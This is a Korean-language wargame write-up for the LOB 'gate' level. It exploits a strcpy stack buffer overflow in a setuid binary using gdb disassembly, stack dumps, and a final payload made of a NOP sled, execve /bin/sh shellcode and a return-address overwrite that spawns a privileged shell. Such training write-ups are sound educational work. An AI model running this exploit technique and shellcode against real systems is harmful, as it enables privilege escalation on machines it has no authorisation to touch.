LOB 1 - gate write up |
LOB 1번 gate 라업입니다.
현재 존재하는 파일들의 리스트와 권한을 확인해보았다.
gremlin.c 파일이 보이고 gremlin 바이너리에 setuid 권한이 설정되어있는것을 확인할 수 있다.
즉 내가 쉘을 따내면 gremlin이 될 수 있는 것.
gremlin.c 파일을 열어보자.
[gate@localhost gate]$ vi gremlin.c |
인자를 입력받아서, strcpy 함수를 통해 버퍼에 저장하고 버퍼를 출력하는 파일이다.
실제로 인자를 줘보면 내가 준 인자를 그대로 출력하는 모습이다.
[gate@localhost gate]$ ./gremlin AAA AAA |
strcpy 함수는 입력값의 길이를 검사하지않는 취약점이 있기때문에 이 취약점을 이용해서 버퍼오버플로우 공격을 수행할 수 있다.
이에 앞서 스택프레임 구조를 파악해야하는데
대략적으로 아래와 같이 예상할 수 있다. 그 외 변수라고 써두었지만, dummy 값을 포함하는 개념이라고 생각하면 된다
한번 디버거로 디스어셈블해보자.
[gate@localhost gate]$ gdb -q gremlin (gdb) set disassembly-flavor intel (gdb) disassemble main Dump of assembler code for function main: 0x8048430 <main>: push %ebp 0x8048431 <main+1>: mov %ebp,%esp 0x8048433 <main+3>: sub %esp,0x100 0x8048439 <main+9>: cmp DWORD PTR [%ebp+8],1 0x804843d <main+13>: jg 0x8048456 <main+38> 0x804843f <main+15>: push 0x80484e0 0x8048444 <main+20>: call 0x8048350 <printf> 0x8048449 <main+25>: add %esp,4 0x804844c <main+28>: push 0 0x804844e <main+30>: call 0x8048360 <exit> 0x8048453 <main+35>: add %esp,4 0x8048456 <main+38>: mov %eax,DWORD PTR [%ebp+12] 0x8048459 <main+41>: add %eax,4 0x804845c <main+44>: mov %edx,DWORD PTR [%eax] 0x804845e <main+46>: push %edx 0x804845f <main+47>: lea %eax,[%ebp-256] 0x8048465 <main+53>: push %eax 0x8048466 <main+54>: call 0x8048370 <strcpy> 0x804846b <main+59>: add %esp,8 0x804846e <main+62>: lea %eax,[%ebp-256] 0x8048474 <main+68>: push %eax 0x8048475 <main+69>: push 0x80484ec 0x804847a <main+74>: call 0x8048350 <printf> 0x804847f <main+79>: add %esp,8 0x8048482 <main+82>: leave |
"""
gdb - q gremlin # gremlin 파일을 디버거로 실행
set disassembly-flavor intel # 인텔 아키텍처 어셈블리어로 출력해주도록 설정한다.
disassemble main # main함수를 디스어셈블 해준다.
"""
즉 다른 변수없이, 버퍼가 256바이트의 메모리를 가지는 것을 확인할 수 있다.
따라서 아래와 같은 형태의 스택프레임이라고 생각할 수 있다.
즉 256바이트의 버퍼와 4바이트의 SFP를 채우면 그 뒤에 주어지는 값이 Return Address에 삽입된다.
256바이트가 쉘코드를 넣기 충분한 공간이기때문에 , 버퍼내에 쉘코드를 삽입하고 Return Address에 쉘코드의 시작주소를 주면 될 것이다.
내가 예상한 스택프레임의 형태가 맞는지 확인하기 위해, 임의로 버퍼를 오버하는 페이로드를 넣어서 확인해본다.
(gdb) r `python -c 'print "A" * 256 + "B" * 4 + "C" * 4 + "D" * 4'` |
예측대로라면 CCCC가 RET ADDRESS에 삽입되어야한다.
권한이 모자라다.
이것을 해결하기위해서 임의로 directory를 만들어서 바이너리를 카피한다.
기존에는 gremlin의 파일 주인이 gremlin 이었지만 파일을 카피해서 gate로 변경되었다.
변경된 권한을 통해 다시 한번 시도한 결과
성공적으로 0x43434343이 나오는 것을 확인할 수 있다.
즉 지금 위의 페이로드를 넣었을 때 스택프레임은 아래와 같다.
즉 버퍼를 채운 A문자들 안에 적당한 곳에 쉘코드를 삽입해서, CCCC 대신 쉘코드의 시작주소를 주면 된다
gdb를 통해 esp값을 확인해보자.
(gdb) x/20x $esp 0xbffffa00: 0x44444444 0xbffffa00 0xbffffa50 0x40013868 0xbffffa10: 0x00000002 0x08048380 0x00000000 0x080483a1 0xbffffa20: 0x08048430 0x00000002 0xbffffa44 0x080482e0 0xbffffa30: 0x080484bc 0x4000ae60 0xbffffa3c 0x40013e90 0xbffffa40: 0x00000002 0xbffffb40 0xbffffb57 0x00000000 (gdb) 0xbffffa50: 0xbffffc64 0xbffffc77 0xbffffc90 0xbffffcaf 0xbffffa60: 0xbffffcd1 0xbffffcdb 0xbffffe9e 0xbffffebd 0xbffffa70: 0xbffffed7 0xbffffeec 0xbfffff08 0xbfffff13 0xbffffa80: 0xbfffff2d 0xbfffff3a 0xbfffff42 0xbfffff53 0xbffffa90: 0xbfffff5d 0xbfffff6b 0xbfffff7c 0xbfffff8a (gdb) 0xbffffaa0: 0xbfffff95 0xbfffffa5 0x00000000 0x00000003 0xbffffab0: 0x08048034 0x00000004 0x00000020 0x00000005 0xbffffac0: 0x00000006 0x00000006 0x00001000 0x00000007 0xbffffad0: 0x40000000 0x00000008 0x00000000 0x00000009 0xbffffae0: 0x08048380 0x0000000b 0x000001f4 0x0000000c (gdb) 0xbffffaf0: 0x000001f4 0x0000000d 0x000001f4 0x0000000e 0xbffffb00: 0x000001f4 0x00000010 0x0f8bfbff 0x0000000f 0xbffffb10: 0xbffffb3b 0x00000000 0x00000000 0x00000000 0xbffffb20: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffb30: 0x00000000 0x00000000 0x69000000 0x00363836 (gdb) 0xbffffb40: 0x6d6f682f 0x61672f65 0x542f6574 0x672f504d 0xbffffb50: 0x6c6d6572 0x41006e69 0x41414141 0x41414141 0xbffffb60: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffb70: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffb80: 0x41414141 0x41414141 0x41414141 0x41414141 (gdb) 0xbffffb90: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffba0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffbb0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffbc0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffbd0: 0x41414141 0x41414141 0x41414141 0x41414141 (gdb) 0xbffffbe0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffbf0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffc00: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffc10: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffc20: 0x41414141 0x41414141 0x41414141 0x41414141 (gdb) 0xbffffc30: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffc40: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffc50: 0x41414141 0x42414141 0x43424242 0x44434343 0xbffffc60: 0x00444444 0x3d445750 0x6d6f682f 0x61672f65 0xbffffc70: 0x542f6574 0x5200504d 0x544f4d45 0x534f4845 |
0xbffffc50 주소에서 segmentation fault가 발생한 것.
여기서 공격 성공 확률을 높이기 위해 nop-sled를 이용할 것 이므로 0x41로 채워져 있는 적당한 주소를 골라주면 된다.
나는 0xbffffb60 로 하겠다.
따라서 236 바이트의 nop-sled와 24바이트의 쉘코드로 버퍼와 sfp를 채워주고 (260바이트)
ret address에 리틀엔디언으로 0xbffffb60을 넣어주면 공격 페이로드 완성
./gremlin `python -c 'print "\x90"*236+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x60\xfb\xff\xbf"'` |
쉘코드는 아래블로그를 참고했습니다.
https://m.blog.naver.com/mathboy7/220215329450
clear
'wargame > LOB' 카테고리의 다른 글
[포너블] LOB 6 - wolfman (0) | 2021.09.30 |
---|---|
[포너블] LOB 5 - orc (0) | 2021.09.30 |
[포너블] LOB 4 - goblin (0) | 2021.09.30 |
[포너블] LOB 3 - cobolt (0) | 2021.09.26 |
[포너블] LOB 2 - gremlin (0) | 2021.09.26 |
댓글